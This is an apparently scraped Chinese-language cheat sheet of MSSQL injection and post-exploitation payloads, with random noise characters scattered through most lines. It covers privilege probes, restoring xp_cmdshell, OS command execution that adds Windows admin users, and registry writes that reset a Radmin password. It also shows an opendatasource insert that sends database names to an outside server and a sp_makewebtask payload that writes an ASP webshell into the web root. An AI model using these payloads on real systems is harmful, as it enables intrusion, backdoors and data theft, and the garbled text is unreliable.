//看看是什么权限的( b! a3 i. T; n. ^9 U
and 1=(Select IS_MEMBER('db_owner'))
' E$ d3 Q+ E& x& R- `0 G, iAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--% p) f+ J2 ?8 h+ X
1 b5 D8 D0 C8 s" G, x, h* _3 Y3 t$ a//检测是否有读取某数据库的权限
0 e8 x' a/ D5 b, y" R% a3 Zand 1= (Select HAS_DBACCESS('master'))
7 x3 g0 T! b+ K" B/ OAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --) t9 R P$ S7 G* ]# V7 Z
& v8 U. Z3 X2 ^/ y% m* |
/ R; \' Q2 @6 L3 u数字类型9 q* O) A' W2 _. L
and char(124)%2Buser%2Bchar(124)=0
$ c/ E" w. [2 H5 p6 ~" }. i
) @, _! {" _9 H) j U5 K字符类型
* {# P8 M8 h0 ]+ m' and char(124)%2Buser%2Bchar(124)=0 and ''='
2 v$ c! x% L0 h7 W& e$ k) \+ Q+ G( I. {3 Z2 I
搜索类型
! [( _6 n5 S/ y. `* k' and char(124)%2Buser%2Bchar(124)=0 and '%'='7 P( `; P, Q" o7 A: Y
0 u F: n) e( n9 X爆用户名/ H' B9 t* E2 l# |. P# Q4 P
and user>0
* P1 p' t, ?( r b& i0 y! o1 w7 z7 K& t' and user>0 and ''='
8 m" Q: i4 U3 L% k% o6 `6 `9 l' r l7 j, g
检测是否为SA权限
4 t5 M' e) a3 I* D' x! c Qand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
y' S0 f' L1 T" ?- VAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
9 i; k$ Y0 B: s
( Q# W. ~% [* Y5 n9 R& V# |检测是不是MSSQL数据库+ k9 |' i" G5 ]: ?
and exists (select * from sysobjects);--( c' W" g5 U% V$ s3 {
6 d Z [& f9 p3 G- C检测是否支持多行
" ~7 E4 w9 E+ x* ^% \3 s" X9 _;declare @d int;--
$ t$ `/ `3 H4 z
, ^8 Z7 l& {; s! f恢复 xp_cmdshell1 B z: b& |$ U7 H& M1 k
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--+ I, ~) A) C W
3 k3 \, \) U: U, ^
/ n. V. v& x/ w/ D' X* x( C Zselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
; I- Z8 A6 y4 J% n4 k0 _, _
G) Y, a! s1 q! O7 m& a//-----------------------7 X/ D' C7 k0 p3 o( k7 t
// 执行命令
5 _* k1 \# }1 G//-----------------------; L6 z; R o* b* N1 H& j6 n
首先开启沙盘模式:8 v) _0 q& N0 d
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
/ L# L* o; L4 N/ M- Q8 i
- H% ]4 n! `- K然后利用jet.oledb执行系统命令- }9 G' O: f0 q/ W) k
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')' o, U4 T4 X" ~) r
+ @( B5 f2 ] N& w+ `执行命令8 c. @$ r$ a# L$ q4 R
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
) W9 h4 Q9 t& w; m
- e! ?* c+ j& f8 \0 AEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'5 C C( i+ K$ k' s. U9 e
0 S" l- X! ^) _3 Z- J
判断xp_cmdshell扩展存储过程是否存在:
* M* N# `- y4 [http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
/ v5 f2 o3 Z7 |+ x. f. t5 }
/ x# ]2 V1 X" Q写注册表! m$ H9 y% d ]' ^) M( d
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',16 Z. U) L/ `8 k/ C# _
, S) a2 q* S( W; G) z: _2 ^ mREG_SZ
7 L# @7 v' ?4 m3 P
, e r1 W* M1 |3 D: A7 g读注册表! w. I9 z! T- X0 m; @
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'3 _6 k/ B* {' K
$ Y/ d/ s* g( z" e9 ]读取目录内容+ O A' X0 @8 V
exec master..xp_dirtree 'c:\winnt\system32\',1,1
# e1 t' F7 Z; X1 X+ N% E2 ?
2 p4 L ?7 C2 N* \! h F' y' E% C$ k3 I* M1 L
数据库备份" i, y, N! m9 T q/ X
backup database pubs to disk = 'c:\123.bak'$ u/ H9 T H5 s- l! m3 G
8 _) S+ k! A# V- K7 @//爆出长度
8 f ]# w* D" j- l/ \And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
- A0 I- o2 M5 i; K T0 b2 t4 r& q% t, X
) `# Y) L( C' p1 c
4 c2 h* T- o. }7 P更改sa口令方法:用sql综合利用工具连接后,执行命令:
- S0 G3 h- l0 o6 I; j O* f, q# |3 Uexec sp_password NULL,'新密码','sa'6 N0 c$ I7 j- ~- j. _
& K$ w9 Z: D4 U+ u% I; w; `. Q2 `添加和删除一个SA权限的用户test:
$ N A1 U+ _& c, q# Texec master.dbo.sp_addlogin test,9530772
5 i7 e5 K3 ]3 xexec master.dbo.sp_addsrvrolemember test,sysadmin5 i4 _% v/ Y; |+ x* g& D$ H2 z
1 x% l% w0 w1 L# z/ z删除扩展存储过过程xp_cmdshell的语句:; @* I F. |7 M' G
exec sp_dropextendedproc 'xp_cmdshell'% p$ \3 ?1 p: T$ f# l8 G% M
& O4 U9 Q0 b }) S1 Y& y. W
添加扩展存储过过程
5 ^' {8 x X; Q5 D% n+ U: BEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
8 Q$ Q; o' \4 h- l: ?GRANT exec On xp_proxiedadata TO public
, Q9 M, N3 X4 P l8 _2 t, M# t7 d/ {, x' `6 M& U
" a. Z; E: ] g8 E/ q+ A9 I停掉或激活某个服务。7 ?+ F5 a& s2 ]
! I% i5 t; U4 t3 n: [9 r3 e6 n7 G3 zexec master..xp_servicecontrol 'stop','schedule'! W* A" c/ B5 N$ F$ I3 @
exec master..xp_servicecontrol 'start','schedule') }. e8 f4 E# x( S: w. b( f: D
2 ]/ ?) `7 d+ k4 l, J( y/ pdbo.xp_subdirs* [/ [" e" p4 A# x$ Q# k2 @
- N* Z7 H2 f i: v2 l( x& ?
只列某个目录下的子目录。
% ^) m' Y8 _1 rxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
+ L7 X* |1 k( h% W' \- o, O( g Y9 P. G
dbo.xp_makecab
' U- R3 J0 @5 d- {' A( ?" Z9 O' ^9 R: x- c: @6 S9 X
将目标多个档案压缩到某个目标档案之内。
0 }; T) b; I& L8 l所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
9 u1 O" m0 W3 O. ~6 b, ~; R+ `, [
dbo.xp_makecab
& a2 Y% y$ I1 i; F'c:\test.cab','mszip',1,2 B6 `1 I/ w* S4 i1 n
'C:\Inetpub\wwwroot\SQLInject\login.asp',
" g% f0 t' n1 Y0 _/ U) U6 |+ J/ ?" x'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
M2 Y* r' n; B9 B* a& z$ |0 i- [# y2 B$ i, |! U" M% j/ j
xp_terminate_process# l: n* H F3 R
% \) h# g7 ~2 D8 _
停掉某个执行中的程序,但赋予的参数是 Process ID。7 Y M6 D( h2 W( k/ V
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
9 u# M# k4 {8 c
' V4 O( E: X7 d |" z( Q1 K0 m# Pxp_terminate_process 2484
5 d# S& R1 I, |
- j5 y. j- S5 E) G; s4 Oxp_unpackcab
) q% l1 ^0 o/ O8 a
! o) t ^# D1 L1 \1 Q5 ~解开压缩档。! A# J4 {/ A( m! z+ P. T7 c* R
/ A2 w% ]' {8 x( n' w8 w" Kxp_unpackcab 'c:\test.cab','c:\temp',1. t. M1 r' K! R/ _, g/ ?
" S+ t4 B3 }" u4 ~3 l9 n! n) ]" v
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234+ ]# E* V4 @- k8 u$ x% o
0 Q; D% Q e7 d: p) x" T
create database lcx;8 O! Y' F W+ `' L
Create TABLE ku(name nvarchar(256) null);
" K# @! S, T1 ?8 C; I# WCreate TABLE biao(id int NULL,name nvarchar(256) null);
w. G4 C" K' N1 K# U$ g" E9 |$ U- }/ C1 P3 ], u
//得到数据库名0 ?: i+ ]) N8 m* l
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
0 @; Z& H9 g5 O! I6 |
. o; u8 \. q2 W7 j" z5 d
0 y8 R4 ^# ~" s7 a9 M; |$ C//在Master中创建表,看看权限怎样
/ f' b, e0 L! [ a; _/ k! e3 NCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
, X" Q6 A1 l Z! Q0 b. \. k% j
1 R0 j: K1 Q9 X% {用 sp_makewebtask直接在web目录里写入一句话马:: {' N7 \2 S: F& ] E7 M& R
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
5 `9 C6 ?: n) i6 r) Q, ?
+ U7 l1 `, d4 X1 _! p' C' j3 u//更新表内容
( L G/ H- E4 ]Update films SET kind = 'Dramatic' Where id = 123
& { _: Z5 o3 S/ M
- N* {) i+ }4 W' x) v5 c//删除内容
7 P9 z/ H8 Q0 ?* C0 udelete from table_name where Stockid = 3 |